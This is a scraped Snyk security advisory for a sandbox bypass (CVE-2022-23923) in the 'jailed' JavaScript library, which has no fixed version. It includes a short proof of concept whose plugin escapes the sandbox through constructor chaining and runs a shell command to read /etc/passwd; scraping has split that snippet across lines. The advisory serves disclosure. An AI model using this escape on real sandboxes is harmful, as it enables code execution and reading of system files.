

## Sandbox Bypass

Affecting [jailed](#) package, versions \*

INTRODUCED: 2 FEB 2022 CVE-2022-23923 ?

CWE-265 ?

FIRST ADDED BY SNYK

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### How to fix?

There is no fixed version for `jailed`.

### Overview

[jailed](#) is an a small JavaScript library for running untrusted code in a sandbox.

Affected versions of this package are vulnerable to Sandbox Bypass via an exported `alert()` method which can access the main application. Exported methods are stored in the `application.remote` object.

### PoC

```
//poc.js var jailed = require('jailed'); var path = './jailed-plugin.js'; var api = { alert: console.log }; var plugin = new jailed.Plugin(path, api);
```



### Snyk CVSS

Exploit Maturity      Proof of concept ?

Attack Complexity Low ?

Confidentiality HIGH ?

[See more](#)

> NVD

9.8 CRITICAL

### Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable

in your application, and suggest you quick fixes.

```
//jailed-plugin.js
application.remote.alert(this.constructor.constructor
process")
().mainModule.require("child_process").execSync("ca
/etc/passwd").toString());
```

Test your applications

Snyk **SNYK-JS-JAILED-**  
ID **2391490**

Published **6 Apr 2022**

Disclosed **2 Feb 2022**

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Found a mistake?

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